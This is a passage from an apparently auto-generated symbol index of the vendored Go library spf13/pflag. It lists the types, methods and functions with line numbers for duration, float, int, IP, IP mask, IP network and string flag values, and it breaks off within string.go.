method Duration (line 64) | func (f *FlagSet) Duration(name string, value time.Duration, usage strin...
method DurationP (line 71) | func (f *FlagSet) DurationP(name, shorthand string, value time.Duration,...
function Duration (line 79) | func Duration(name string, value time.Duration, usage string) *time.Dura...
function DurationP (line 84) | func DurationP(name, shorthand string, value time.Duration, usage string...
FILE: vendor/github.com/spf13/pflag/duration_slice.go
type durationSliceValue (line 10) | type durationSliceValue struct
method Set (line 22) | func (s *durationSliceValue) Set(val string) error {
method Type (line 42) | func (s *durationSliceValue) Type() string {
method String (line 46) | func (s *durationSliceValue) String() string {
method fromString (line 54) | func (s *durationSliceValue) fromString(val string) (time.Duration, er...
method toString (line 58) | func (s *durationSliceValue) toString(val time.Duration) string {
method Append (line 62) | func (s *durationSliceValue) Append(val string) error {
method Replace (line 71) | func (s *durationSliceValue) Replace(val []string) error {
method GetSlice (line 84) | func (s *durationSliceValue) GetSlice() []string {
function newDurationSliceValue (line 15) | func newDurationSliceValue(val []time.Duration, p *[]time.Duration) *dur...
function durationSliceConv (line 92) | func durationSliceConv(val string) (interface{}, error) {
method GetDurationSlice (line 112) | func (f *FlagSet) GetDurationSlice(name string) ([]time.Duration, error) {
method DurationSliceVar (line 122) | func (f *FlagSet) DurationSliceVar(p *[]time.Duration, name string, valu...
method DurationSliceVarP (line 127) | func (f *FlagSet) DurationSliceVarP(p *[]time.Duration, name, shorthand ...
function DurationSliceVar (line 133) | func DurationSliceVar(p *[]time.Duration, name string, value []time.Dura...
function DurationSliceVarP (line 138) | func DurationSliceVarP(p *[]time.Duration, name, shorthand string, value...
method DurationSlice (line 144) | func (f *FlagSet) DurationSlice(name string, value []time.Duration, usag...
method DurationSliceP (line 151) | func (f *FlagSet) DurationSliceP(name, shorthand string, value []time.Du...
function DurationSlice (line 159) | func DurationSlice(name string, value []time.Duration, usage string) *[]...
function DurationSliceP (line 164) | func DurationSliceP(name, shorthand string, value []time.Duration, usage...
FILE: vendor/github.com/spf13/pflag/flag.go
type ErrorHandling (line 116) | type ErrorHandling
constant ContinueOnError (line 120) | ContinueOnError ErrorHandling = iota
constant ExitOnError (line 122) | ExitOnError
constant PanicOnError (line 124) | PanicOnError
type ParseErrorsWhitelist (line 128) | type ParseErrorsWhitelist struct
type NormalizedName (line 135) | type NormalizedName
type FlagSet (line 138) | type FlagSet struct
method SetNormalizeFunc (line 226) | func (f *FlagSet) SetNormalizeFunc(n func(f *FlagSet, name string) Nor...
method GetNormalizeFunc (line 246) | func (f *FlagSet) GetNormalizeFunc() func(f *FlagSet, name string) Nor...
method normalizeFlagName (line 253) | func (f *FlagSet) normalizeFlagName(name string) NormalizedName {
method out (line 258) | func (f *FlagSet) out() io.Writer {
method SetOutput (line 267) | func (f *FlagSet) SetOutput(output io.Writer) {
method VisitAll (line 274) | func (f *FlagSet) VisitAll(fn func(*Flag)) {
method HasFlags (line 295) | func (f *FlagSet) HasFlags() bool {
method HasAvailableFlags (line 301) | func (f *FlagSet) HasAvailableFlags() bool {
method Visit (line 320) | func (f *FlagSet) Visit(fn func(*Flag)) {
method Lookup (line 348) | func (f *FlagSet) Lookup(name string) *Flag {
method ShorthandLookup (line 355) | func (f *FlagSet) ShorthandLookup(name string) *Flag {
method lookup (line 369) | func (f *FlagSet) lookup(name NormalizedName) *Flag {
method getFlagType (line 374) | func (f *FlagSet) getFlagType(name string, ftype string, convFunc func...
method ArgsLenAtDash (line 397) | func (f *FlagSet) ArgsLenAtDash() int {
method MarkDeprecated (line 404) | func (f *FlagSet) MarkDeprecated(name string, usageMessage string) err...
method MarkShorthandDeprecated (line 420) | func (f *FlagSet) MarkShorthandDeprecated(name string, usageMessage st...
method MarkHidden (line 434) | func (f *FlagSet) MarkHidden(name string) error {
method Set (line 456) | func (f *FlagSet) Set(name, value string) error {
method SetAnnotation (line 493) | func (f *FlagSet) SetAnnotation(name, key string, values []string) err...
method Changed (line 508) | func (f *FlagSet) Changed(name string) bool {
method PrintDefaults (line 524) | func (f *FlagSet) PrintDefaults() {
method FlagUsagesWrapped (line 677) | func (f *FlagSet) FlagUsagesWrapped(cols int) string {
method FlagUsages (line 750) | func (f *FlagSet) FlagUsages() string {
method NFlag (line 779) | func (f *FlagSet) NFlag() int { return len(f.actual) }
method Arg (line 786) | func (f *FlagSet) Arg(i int) string {
method NArg (line 800) | func (f *FlagSet) NArg() int { return len(f.args) }
method Args (line 806) | func (f *FlagSet) Args() []string { return f.args }
method Var (line 817) | func (f *FlagSet) Var(value Value, name string, usage string) {
method VarPF (line 822) | func (f *FlagSet) VarPF(value Value, name, shorthand, usage string) *F...
method VarP (line 836) | func (f *FlagSet) VarP(value Value, name, shorthand, usage string) {
method AddFlag (line 841) | func (f *FlagSet) AddFlag(flag *Flag) {
method AddFlagSet (line 881) | func (f *FlagSet) AddFlagSet(newSet *FlagSet) {
method failf (line 909) | func (f *FlagSet) failf(format string, a ...interface{}) error {
method usage (line 920) | func (f *FlagSet) usage() {
method parseLongArg (line 952) | func (f *FlagSet) parseLongArg(s string, args []string, fn parseFunc) ...
method parseSingleShortArg (line 1007) | func (f *FlagSet) parseSingleShortArg(shorthands string, args []string...
method parseShortArg (line 1073) | func (f *FlagSet) parseShortArg(s string, args []string, fn parseFunc)...
method parseArgs (line 1088) | func (f *FlagSet) parseArgs(args []string, fn parseFunc) (err error) {
method Parse (line 1123) | func (f *FlagSet) Parse(arguments []string) error {
method ParseAll (line 1163) | func (f *FlagSet) ParseAll(arguments []string, fn func(flag *Flag, val...
method Parsed (line 1182) | func (f *FlagSet) Parsed() bool {
method SetInterspersed (line 1228) | func (f *FlagSet) SetInterspersed(interspersed bool) {
method Init (line 1235) | func (f *FlagSet) Init(name string, errorHandling ErrorHandling) {
type Flag (line 171) | type Flag struct
method defaultIsZeroValue (line 531) | func (f *Flag) defaultIsZeroValue() bool {
type Value (line 187) | type Value interface
type SliceValue (line 196) | type SliceValue interface
function sortFlags (line 206) | func sortFlags(flags map[NormalizedName]*Flag) []*Flag {
function VisitAll (line 313) | func VisitAll(fn func(*Flag)) {
function Visit (line 343) | func Visit(fn func(*Flag)) {
function Lookup (line 445) | func Lookup(name string) *Flag {
function ShorthandLookup (line 451) | func ShorthandLookup(name string) *Flag {
function Set (line 518) | func Set(name, value string) error {
function UnquoteUsage (line 566) | func UnquoteUsage(flag *Flag) (name string, usage string) {
function wrapN (line 609) | func wrapN(i, slop int, s string) (string, string) {
function wrap (line 628) | func wrap(i, w int, s string) string {
function PrintDefaults (line 755) | func PrintDefaults() {
function defaultUsage (line 760) | func defaultUsage(f *FlagSet) {
function NFlag (line 782) | func NFlag() int { return len(CommandLine.actual) }
function Arg (line 795) | func Arg(i int) string {
function NArg (line 803) | func NArg() int { return len(CommandLine.args) }
function Args (line 809) | func Args() []string { return CommandLine.args }
function Var (line 898) | func Var(value Value, name string, usage string) {
function VarP (line 903) | func VarP(value Value, name, shorthand, usage string) {
function stripUnknownFlagValue (line 933) | func stripUnknownFlagValue(args []string) []string {
type parseFunc (line 1156) | type parseFunc
function Parse (line 1188) | func Parse() {
function ParseAll (line 1196) | func ParseAll(fn func(flag *Flag, value string) error) {
function SetInterspersed (line 1202) | func SetInterspersed(interspersed bool) {
function Parsed (line 1207) | func Parsed() bool {
function NewFlagSet (line 1216) | func NewFlagSet(name string, errorHandling ErrorHandling) *FlagSet {
FILE: vendor/github.com/spf13/pflag/float32.go
type float32Value (line 6) | type float32Value
method Set (line 13) | func (f *float32Value) Set(s string) error {
method Type (line 19) | func (f *float32Value) Type() string {
method String (line 23) | func (f *float32Value) String() string { return strconv.FormatFloat(fl...
function newFloat32Value (line 8) | func newFloat32Value(val float32, p *float32) *float32Value {
function float32Conv (line 25) | func float32Conv(sval string) (interface{}, error) {
method GetFloat32 (line 34) | func (f *FlagSet) GetFloat32(name string) (float32, error) {
method Float32Var (line 44) | func (f *FlagSet) Float32Var(p *float32, name string, value float32, usa...
method Float32VarP (line 49) | func (f *FlagSet) Float32VarP(p *float32, name, shorthand string, value ...
function Float32Var (line 55) | func Float32Var(p *float32, name string, value float32, usage string) {
function Float32VarP (line 60) | func Float32VarP(p *float32, name, shorthand string, value float32, usag...
method Float32 (line 66) | func (f *FlagSet) Float32(name string, value float32, usage string) *flo...
method Float32P (line 73) | func (f *FlagSet) Float32P(name, shorthand string, value float32, usage ...
function Float32 (line 81) | func Float32(name string, value float32, usage string) *float32 {
function Float32P (line 86) | func Float32P(name, shorthand string, value float32, usage string) *floa...
FILE: vendor/github.com/spf13/pflag/float32_slice.go
type float32SliceValue (line 10) | type float32SliceValue struct
method Set (line 22) | func (s *float32SliceValue) Set(val string) error {
method Type (line 44) | func (s *float32SliceValue) Type() string {
method String (line 48) | func (s *float32SliceValue) String() string {
method fromString (line 56) | func (s *float32SliceValue) fromString(val string) (float32, error) {
method toString (line 64) | func (s *float32SliceValue) toString(val float32) string {
method Append (line 68) | func (s *float32SliceValue) Append(val string) error {
method Replace (line 77) | func (s *float32SliceValue) Replace(val []string) error {
method GetSlice (line 90) | func (s *float32SliceValue) GetSlice() []string {
function newFloat32SliceValue (line 15) | func newFloat32SliceValue(val []float32, p *[]float32) *float32SliceValue {
function float32SliceConv (line 98) | func float32SliceConv(val string) (interface{}, error) {
method GetFloat32Slice (line 120) | func (f *FlagSet) GetFloat32Slice(name string) ([]float32, error) {
method Float32SliceVar (line 130) | func (f *FlagSet) Float32SliceVar(p *[]float32, name string, value []flo...
method Float32SliceVarP (line 135) | func (f *FlagSet) Float32SliceVarP(p *[]float32, name, shorthand string,...
function Float32SliceVar (line 141) | func Float32SliceVar(p *[]float32, name string, value []float32, usage s...
function Float32SliceVarP (line 146) | func Float32SliceVarP(p *[]float32, name, shorthand string, value []floa...
method Float32Slice (line 152) | func (f *FlagSet) Float32Slice(name string, value []float32, usage strin...
method Float32SliceP (line 159) | func (f *FlagSet) Float32SliceP(name, shorthand string, value []float32,...
function Float32Slice (line 167) | func Float32Slice(name string, value []float32, usage string) *[]float32 {
function Float32SliceP (line 172) | func Float32SliceP(name, shorthand string, value []float32, usage string...
FILE: vendor/github.com/spf13/pflag/float64.go
type float64Value (line 6) | type float64Value
method Set (line 13) | func (f *float64Value) Set(s string) error {
method Type (line 19) | func (f *float64Value) Type() string {
method String (line 23) | func (f *float64Value) String() string { return strconv.FormatFloat(fl...
function newFloat64Value (line 8) | func newFloat64Value(val float64, p *float64) *float64Value {
function float64Conv (line 25) | func float64Conv(sval string) (interface{}, error) {
method GetFloat64 (line 30) | func (f *FlagSet) GetFloat64(name string) (float64, error) {
method Float64Var (line 40) | func (f *FlagSet) Float64Var(p *float64, name string, value float64, usa...
method Float64VarP (line 45) | func (f *FlagSet) Float64VarP(p *float64, name, shorthand string, value ...
function Float64Var (line 51) | func Float64Var(p *float64, name string, value float64, usage string) {
function Float64VarP (line 56) | func Float64VarP(p *float64, name, shorthand string, value float64, usag...
method Float64 (line 62) | func (f *FlagSet) Float64(name string, value float64, usage string) *flo...
method Float64P (line 69) | func (f *FlagSet) Float64P(name, shorthand string, value float64, usage ...
function Float64 (line 77) | func Float64(name string, value float64, usage string) *float64 {
function Float64P (line 82) | func Float64P(name, shorthand string, value float64, usage string) *floa...
FILE: vendor/github.com/spf13/pflag/float64_slice.go
type float64SliceValue (line 10) | type float64SliceValue struct
method Set (line 22) | func (s *float64SliceValue) Set(val string) error {
method Type (line 42) | func (s *float64SliceValue) Type() string {
method String (line 46) | func (s *float64SliceValue) String() string {
method fromString (line 54) | func (s *float64SliceValue) fromString(val string) (float64, error) {
method toString (line 58) | func (s *float64SliceValue) toString(val float64) string {
method Append (line 62) | func (s *float64SliceValue) Append(val string) error {
method Replace (line 71) | func (s *float64SliceValue) Replace(val []string) error {
method GetSlice (line 84) | func (s *float64SliceValue) GetSlice() []string {
function newFloat64SliceValue (line 15) | func newFloat64SliceValue(val []float64, p *[]float64) *float64SliceValue {
function float64SliceConv (line 92) | func float64SliceConv(val string) (interface{}, error) {
method GetFloat64Slice (line 112) | func (f *FlagSet) GetFloat64Slice(name string) ([]float64, error) {
method Float64SliceVar (line 122) | func (f *FlagSet) Float64SliceVar(p *[]float64, name string, value []flo...
method Float64SliceVarP (line 127) | func (f *FlagSet) Float64SliceVarP(p *[]float64, name, shorthand string,...
function Float64SliceVar (line 133) | func Float64SliceVar(p *[]float64, name string, value []float64, usage s...
function Float64SliceVarP (line 138) | func Float64SliceVarP(p *[]float64, name, shorthand string, value []floa...
method Float64Slice (line 144) | func (f *FlagSet) Float64Slice(name string, value []float64, usage strin...
method Float64SliceP (line 151) | func (f *FlagSet) Float64SliceP(name, shorthand string, value []float64,...
function Float64Slice (line 159) | func Float64Slice(name string, value []float64, usage string) *[]float64 {
function Float64SliceP (line 164) | func Float64SliceP(name, shorthand string, value []float64, usage string...
FILE: vendor/github.com/spf13/pflag/golangflag.go
type flagValueWrapper (line 17) | type flagValueWrapper struct
method String (line 48) | func (v *flagValueWrapper) String() string {
method Set (line 52) | func (v *flagValueWrapper) Set(s string) error {
method Type (line 56) | func (v *flagValueWrapper) Type() string {
type goBoolFlag (line 24) | type goBoolFlag interface
function wrapFlagValue (line 29) | func wrapFlagValue(v goflag.Value) Value {
function PFlagFromGoFlag (line 64) | func PFlagFromGoFlag(goflag *goflag.Flag) *Flag {
method AddGoFlag (line 85) | func (f *FlagSet) AddGoFlag(goflag *goflag.Flag) {
method AddGoFlagSet (line 94) | func (f *FlagSet) AddGoFlagSet(newSet *goflag.FlagSet) {
FILE: vendor/github.com/spf13/pflag/int.go
type intValue (line 6) | type intValue
method Set (line 13) | func (i *intValue) Set(s string) error {
method Type (line 19) | func (i *intValue) Type() string {
method String (line 23) | func (i *intValue) String() string { return strconv.Itoa(int(*i)) }
function newIntValue (line 8) | func newIntValue(val int, p *int) *intValue {
function intConv (line 25) | func intConv(sval string) (interface{}, error) {
method GetInt (line 30) | func (f *FlagSet) GetInt(name string) (int, error) {
method IntVar (line 40) | func (f *FlagSet) IntVar(p *int, name string, value int, usage string) {
method IntVarP (line 45) | func (f *FlagSet) IntVarP(p *int, name, shorthand string, value int, usa...
function IntVar (line 51) | func IntVar(p *int, name string, value int, usage string) {
function IntVarP (line 56) | func IntVarP(p *int, name, shorthand string, value int, usage string) {
method Int (line 62) | func (f *FlagSet) Int(name string, value int, usage string) *int {
method IntP (line 69) | func (f *FlagSet) IntP(name, shorthand string, value int, usage string) ...
function Int (line 77) | func Int(name string, value int, usage string) *int {
function IntP (line 82) | func IntP(name, shorthand string, value int, usage string) *int {
FILE: vendor/github.com/spf13/pflag/int16.go
type int16Value (line 6) | type int16Value
method Set (line 13) | func (i *int16Value) Set(s string) error {
method Type (line 19) | func (i *int16Value) Type() string {
method String (line 23) | func (i *int16Value) String() string { return strconv.FormatInt(int64(...
function newInt16Value (line 8) | func newInt16Value(val int16, p *int16) *int16Value {
function int16Conv (line 25) | func int16Conv(sval string) (interface{}, error) {
method GetInt16 (line 34) | func (f *FlagSet) GetInt16(name string) (int16, error) {
method Int16Var (line 44) | func (f *FlagSet) Int16Var(p *int16, name string, value int16, usage str...
method Int16VarP (line 49) | func (f *FlagSet) Int16VarP(p *int16, name, shorthand string, value int1...
function Int16Var (line 55) | func Int16Var(p *int16, name string, value int16, usage string) {
function Int16VarP (line 60) | func Int16VarP(p *int16, name, shorthand string, value int16, usage stri...
method Int16 (line 66) | func (f *FlagSet) Int16(name string, value int16, usage string) *int16 {
method Int16P (line 73) | func (f *FlagSet) Int16P(name, shorthand string, value int16, usage stri...
function Int16 (line 81) | func Int16(name string, value int16, usage string) *int16 {
function Int16P (line 86) | func Int16P(name, shorthand string, value int16, usage string) *int16 {
FILE: vendor/github.com/spf13/pflag/int32.go
type int32Value (line 6) | type int32Value
method Set (line 13) | func (i *int32Value) Set(s string) error {
method Type (line 19) | func (i *int32Value) Type() string {
method String (line 23) | func (i *int32Value) String() string { return strconv.FormatInt(int64(...
function newInt32Value (line 8) | func newInt32Value(val int32, p *int32) *int32Value {
function int32Conv (line 25) | func int32Conv(sval string) (interface{}, error) {
method GetInt32 (line 34) | func (f *FlagSet) GetInt32(name string) (int32, error) {
method Int32Var (line 44) | func (f *FlagSet) Int32Var(p *int32, name string, value int32, usage str...
method Int32VarP (line 49) | func (f *FlagSet) Int32VarP(p *int32, name, shorthand string, value int3...
function Int32Var (line 55) | func Int32Var(p *int32, name string, value int32, usage string) {
function Int32VarP (line 60) | func Int32VarP(p *int32, name, shorthand string, value int32, usage stri...
method Int32 (line 66) | func (f *FlagSet) Int32(name string, value int32, usage string) *int32 {
method Int32P (line 73) | func (f *FlagSet) Int32P(name, shorthand string, value int32, usage stri...
function Int32 (line 81) | func Int32(name string, value int32, usage string) *int32 {
function Int32P (line 86) | func Int32P(name, shorthand string, value int32, usage string) *int32 {
FILE: vendor/github.com/spf13/pflag/int32_slice.go
type int32SliceValue (line 10) | type int32SliceValue struct
method Set (line 22) | func (s *int32SliceValue) Set(val string) error {
method Type (line 44) | func (s *int32SliceValue) Type() string {
method String (line 48) | func (s *int32SliceValue) String() string {
method fromString (line 56) | func (s *int32SliceValue) fromString(val string) (int32, error) {
method toString (line 64) | func (s *int32SliceValue) toString(val int32) string {
method Append (line 68) | func (s *int32SliceValue) Append(val string) error {
method Replace (line 77) | func (s *int32SliceValue) Replace(val []string) error {
method GetSlice (line 90) | func (s *int32SliceValue) GetSlice() []string {
function newInt32SliceValue (line 15) | func newInt32SliceValue(val []int32, p *[]int32) *int32SliceValue {
function int32SliceConv (line 98) | func int32SliceConv(val string) (interface{}, error) {
method GetInt32Slice (line 120) | func (f *FlagSet) GetInt32Slice(name string) ([]int32, error) {
method Int32SliceVar (line 130) | func (f *FlagSet) Int32SliceVar(p *[]int32, name string, value []int32, ...
method Int32SliceVarP (line 135) | func (f *FlagSet) Int32SliceVarP(p *[]int32, name, shorthand string, val...
function Int32SliceVar (line 141) | func Int32SliceVar(p *[]int32, name string, value []int32, usage string) {
function Int32SliceVarP (line 146) | func Int32SliceVarP(p *[]int32, name, shorthand string, value []int32, u...
method Int32Slice (line 152) | func (f *FlagSet) Int32Slice(name string, value []int32, usage string) *...
method Int32SliceP (line 159) | func (f *FlagSet) Int32SliceP(name, shorthand string, value []int32, usa...
function Int32Slice (line 167) | func Int32Slice(name string, value []int32, usage string) *[]int32 {
function Int32SliceP (line 172) | func Int32SliceP(name, shorthand string, value []int32, usage string) *[...
FILE: vendor/github.com/spf13/pflag/int64.go
type int64Value (line 6) | type int64Value
method Set (line 13) | func (i *int64Value) Set(s string) error {
method Type (line 19) | func (i *int64Value) Type() string {
method String (line 23) | func (i *int64Value) String() string { return strconv.FormatInt(int64(...
function newInt64Value (line 8) | func newInt64Value(val int64, p *int64) *int64Value {
function int64Conv (line 25) | func int64Conv(sval string) (interface{}, error) {
method GetInt64 (line 30) | func (f *FlagSet) GetInt64(name string) (int64, error) {
method Int64Var (line 40) | func (f *FlagSet) Int64Var(p *int64, name string, value int64, usage str...
method Int64VarP (line 45) | func (f *FlagSet) Int64VarP(p *int64, name, shorthand string, value int6...
function Int64Var (line 51) | func Int64Var(p *int64, name string, value int64, usage string) {
function Int64VarP (line 56) | func Int64VarP(p *int64, name, shorthand string, value int64, usage stri...
method Int64 (line 62) | func (f *FlagSet) Int64(name string, value int64, usage string) *int64 {
method Int64P (line 69) | func (f *FlagSet) Int64P(name, shorthand string, value int64, usage stri...
function Int64 (line 77) | func Int64(name string, value int64, usage string) *int64 {
function Int64P (line 82) | func Int64P(name, shorthand string, value int64, usage string) *int64 {
FILE: vendor/github.com/spf13/pflag/int64_slice.go
type int64SliceValue (line 10) | type int64SliceValue struct
method Set (line 22) | func (s *int64SliceValue) Set(val string) error {
method Type (line 42) | func (s *int64SliceValue) Type() string {
method String (line 46) | func (s *int64SliceValue) String() string {
method fromString (line 54) | func (s *int64SliceValue) fromString(val string) (int64, error) {
method toString (line 58) | func (s *int64SliceValue) toString(val int64) string {
method Append (line 62) | func (s *int64SliceValue) Append(val string) error {
method Replace (line 71) | func (s *int64SliceValue) Replace(val []string) error {
method GetSlice (line 84) | func (s *int64SliceValue) GetSlice() []string {
function newInt64SliceValue (line 15) | func newInt64SliceValue(val []int64, p *[]int64) *int64SliceValue {
function int64SliceConv (line 92) | func int64SliceConv(val string) (interface{}, error) {
method GetInt64Slice (line 112) | func (f *FlagSet) GetInt64Slice(name string) ([]int64, error) {
method Int64SliceVar (line 122) | func (f *FlagSet) Int64SliceVar(p *[]int64, name string, value []int64, ...
method Int64SliceVarP (line 127) | func (f *FlagSet) Int64SliceVarP(p *[]int64, name, shorthand string, val...
function Int64SliceVar (line 133) | func Int64SliceVar(p *[]int64, name string, value []int64, usage string) {
function Int64SliceVarP (line 138) | func Int64SliceVarP(p *[]int64, name, shorthand string, value []int64, u...
method Int64Slice (line 144) | func (f *FlagSet) Int64Slice(name string, value []int64, usage string) *...
method Int64SliceP (line 151) | func (f *FlagSet) Int64SliceP(name, shorthand string, value []int64, usa...
function Int64Slice (line 159) | func Int64Slice(name string, value []int64, usage string) *[]int64 {
function Int64SliceP (line 164) | func Int64SliceP(name, shorthand string, value []int64, usage string) *[...
FILE: vendor/github.com/spf13/pflag/int8.go
type int8Value (line 6) | type int8Value
method Set (line 13) | func (i *int8Value) Set(s string) error {
method Type (line 19) | func (i *int8Value) Type() string {
method String (line 23) | func (i *int8Value) String() string { return strconv.FormatInt(int64(*...
function newInt8Value (line 8) | func newInt8Value(val int8, p *int8) *int8Value {
function int8Conv (line 25) | func int8Conv(sval string) (interface{}, error) {
method GetInt8 (line 34) | func (f *FlagSet) GetInt8(name string) (int8, error) {
method Int8Var (line 44) | func (f *FlagSet) Int8Var(p *int8, name string, value int8, usage string) {
method Int8VarP (line 49) | func (f *FlagSet) Int8VarP(p *int8, name, shorthand string, value int8, ...
function Int8Var (line 55) | func Int8Var(p *int8, name string, value int8, usage string) {
function Int8VarP (line 60) | func Int8VarP(p *int8, name, shorthand string, value int8, usage string) {
method Int8 (line 66) | func (f *FlagSet) Int8(name string, value int8, usage string) *int8 {
method Int8P (line 73) | func (f *FlagSet) Int8P(name, shorthand string, value int8, usage string...
function Int8 (line 81) | func Int8(name string, value int8, usage string) *int8 {
function Int8P (line 86) | func Int8P(name, shorthand string, value int8, usage string) *int8 {
FILE: vendor/github.com/spf13/pflag/int_slice.go
type intSliceValue (line 10) | type intSliceValue struct
method Set (line 22) | func (s *intSliceValue) Set(val string) error {
method Type (line 42) | func (s *intSliceValue) Type() string {
method String (line 46) | func (s *intSliceValue) String() string {
method Append (line 54) | func (s *intSliceValue) Append(val string) error {
method Replace (line 63) | func (s *intSliceValue) Replace(val []string) error {
method GetSlice (line 76) | func (s *intSliceValue) GetSlice() []string {
function newIntSliceValue (line 15) | func newIntSliceValue(val []int, p *[]int) *intSliceValue {
function intSliceConv (line 84) | func intSliceConv(val string) (interface{}, error) {
method GetIntSlice (line 104) | func (f *FlagSet) GetIntSlice(name string) ([]int, error) {
method IntSliceVar (line 114) | func (f *FlagSet) IntSliceVar(p *[]int, name string, value []int, usage ...
method IntSliceVarP (line 119) | func (f *FlagSet) IntSliceVarP(p *[]int, name, shorthand string, value [...
function IntSliceVar (line 125) | func IntSliceVar(p *[]int, name string, value []int, usage string) {
function IntSliceVarP (line 130) | func IntSliceVarP(p *[]int, name, shorthand string, value []int, usage s...
method IntSlice (line 136) | func (f *FlagSet) IntSlice(name string, value []int, usage string) *[]int {
method IntSliceP (line 143) | func (f *FlagSet) IntSliceP(name, shorthand string, value []int, usage s...
function IntSlice (line 151) | func IntSlice(name string, value []int, usage string) *[]int {
function IntSliceP (line 156) | func IntSliceP(name, shorthand string, value []int, usage string) *[]int {
FILE: vendor/github.com/spf13/pflag/ip.go
type ipValue (line 10) | type ipValue
method String (line 17) | func (i *ipValue) String() string { return net.IP(*i).String() }
method Set (line 18) | func (i *ipValue) Set(s string) error {
method Type (line 27) | func (i *ipValue) Type() string {
function newIPValue (line 12) | func newIPValue(val net.IP, p *net.IP) *ipValue {
function ipConv (line 31) | func ipConv(sval string) (interface{}, error) {
method GetIP (line 40) | func (f *FlagSet) GetIP(name string) (net.IP, error) {
method IPVar (line 50) | func (f *FlagSet) IPVar(p *net.IP, name string, value net.IP, usage stri...
method IPVarP (line 55) | func (f *FlagSet) IPVarP(p *net.IP, name, shorthand string, value net.IP...
function IPVar (line 61) | func IPVar(p *net.IP, name string, value net.IP, usage string) {
function IPVarP (line 66) | func IPVarP(p *net.IP, name, shorthand string, value net.IP, usage strin...
method IP (line 72) | func (f *FlagSet) IP(name string, value net.IP, usage string) *net.IP {
method IPP (line 79) | func (f *FlagSet) IPP(name, shorthand string, value net.IP, usage string...
function IP (line 87) | func IP(name string, value net.IP, usage string) *net.IP {
function IPP (line 92) | func IPP(name, shorthand string, value net.IP, usage string) *net.IP {
FILE: vendor/github.com/spf13/pflag/ip_slice.go
type ipSliceValue (line 11) | type ipSliceValue struct
method Set (line 25) | func (s *ipSliceValue) Set(val string) error {
method Type (line 58) | func (s *ipSliceValue) Type() string {
method String (line 63) | func (s *ipSliceValue) String() string {
method fromString (line 75) | func (s *ipSliceValue) fromString(val string) (net.IP, error) {
method toString (line 79) | func (s *ipSliceValue) toString(val net.IP) string {
method Append (line 83) | func (s *ipSliceValue) Append(val string) error {
method Replace (line 92) | func (s *ipSliceValue) Replace(val []string) error {
method GetSlice (line 105) | func (s *ipSliceValue) GetSlice() []string {
function newIPSliceValue (line 16) | func newIPSliceValue(val []net.IP, p *[]net.IP) *ipSliceValue {
function ipSliceConv (line 113) | func ipSliceConv(val string) (interface{}, error) {
method GetIPSlice (line 132) | func (f *FlagSet) GetIPSlice(name string) ([]net.IP, error) {
method IPSliceVar (line 142) | func (f *FlagSet) IPSliceVar(p *[]net.IP, name string, value []net.IP, u...
method IPSliceVarP (line 147) | func (f *FlagSet) IPSliceVarP(p *[]net.IP, name, shorthand string, value...
function IPSliceVar (line 153) | func IPSliceVar(p *[]net.IP, name string, value []net.IP, usage string) {
function IPSliceVarP (line 158) | func IPSliceVarP(p *[]net.IP, name, shorthand string, value []net.IP, us...
method IPSlice (line 164) | func (f *FlagSet) IPSlice(name string, value []net.IP, usage string) *[]...
method IPSliceP (line 171) | func (f *FlagSet) IPSliceP(name, shorthand string, value []net.IP, usage...
function IPSlice (line 179) | func IPSlice(name string, value []net.IP, usage string) *[]net.IP {
function IPSliceP (line 184) | func IPSliceP(name, shorthand string, value []net.IP, usage string) *[]n...
FILE: vendor/github.com/spf13/pflag/ipmask.go
type ipMaskValue (line 10) | type ipMaskValue
method String (line 17) | func (i *ipMaskValue) String() string { return net.IPMask(*i).String() }
method Set (line 18) | func (i *ipMaskValue) Set(s string) error {
method Type (line 27) | func (i *ipMaskValue) Type() string {
function newIPMaskValue (line 12) | func newIPMaskValue(val net.IPMask, p *net.IPMask) *ipMaskValue {
function ParseIPv4Mask (line 33) | func ParseIPv4Mask(s string) net.IPMask {
function parseIPv4Mask (line 59) | func parseIPv4Mask(sval string) (interface{}, error) {
method GetIPv4Mask (line 68) | func (f *FlagSet) GetIPv4Mask(name string) (net.IPMask, error) {
method IPMaskVar (line 78) | func (f *FlagSet) IPMaskVar(p *net.IPMask, name string, value net.IPMask...
method IPMaskVarP (line 83) | func (f *FlagSet) IPMaskVarP(p *net.IPMask, name, shorthand string, valu...
function IPMaskVar (line 89) | func IPMaskVar(p *net.IPMask, name string, value net.IPMask, usage strin...
function IPMaskVarP (line 94) | func IPMaskVarP(p *net.IPMask, name, shorthand string, value net.IPMask,...
method IPMask (line 100) | func (f *FlagSet) IPMask(name string, value net.IPMask, usage string) *n...
method IPMaskP (line 107) | func (f *FlagSet) IPMaskP(name, shorthand string, value net.IPMask, usag...
function IPMask (line 115) | func IPMask(name string, value net.IPMask, usage string) *net.IPMask {
function IPMaskP (line 120) | func IPMaskP(name, shorthand string, value net.IPMask, usage string) *ne...
FILE: vendor/github.com/spf13/pflag/ipnet.go
type ipNetValue (line 10) | type ipNetValue
method String (line 12) | func (ipnet ipNetValue) String() string {
method Set (line 17) | func (ipnet *ipNetValue) Set(value string) error {
method Type (line 26) | func (*ipNetValue) Type() string {
function newIPNetValue (line 30) | func newIPNetValue(val net.IPNet, p *net.IPNet) *ipNetValue {
function ipNetConv (line 35) | func ipNetConv(sval string) (interface{}, error) {
method GetIPNet (line 44) | func (f *FlagSet) GetIPNet(name string) (net.IPNet, error) {
method IPNetVar (line 54) | func (f *FlagSet) IPNetVar(p *net.IPNet, name string, value net.IPNet, u...
method IPNetVarP (line 59) | func (f *FlagSet) IPNetVarP(p *net.IPNet, name, shorthand string, value ...
function IPNetVar (line 65) | func IPNetVar(p *net.IPNet, name string, value net.IPNet, usage string) {
function IPNetVarP (line 70) | func IPNetVarP(p *net.IPNet, name, shorthand string, value net.IPNet, us...
method IPNet (line 76) | func (f *FlagSet) IPNet(name string, value net.IPNet, usage string) *net...
method IPNetP (line 83) | func (f *FlagSet) IPNetP(name, shorthand string, value net.IPNet, usage ...
function IPNet (line 91) | func IPNet(name string, value net.IPNet, usage string) *net.IPNet {
function IPNetP (line 96) | func IPNetP(name, shorthand string, value net.IPNet, usage string) *net....
FILE: vendor/github.com/spf13/pflag/string.go
type stringValue (line 4) | type stringValue
method Set (line 11) | func (s *stringValue) Set(val string) error {
method Type (line 15) | func (s *stringValue) Type() string {
method String (line 19) | func (s *stringValue) String() string { return string(*s) }
function newStringValue (line 6) | func newStringValue(val string, p *string) *stringValue {
function stringConv (line 21) | func stringConv(sval string) (interface{}, error) {
method GetString (line 26) | func (f *FlagSet) GetString(name string) (string, error) {
method StringVar (line 36) | func (f *FlagSet) StringVar(p *string, name string, value string, usage ...
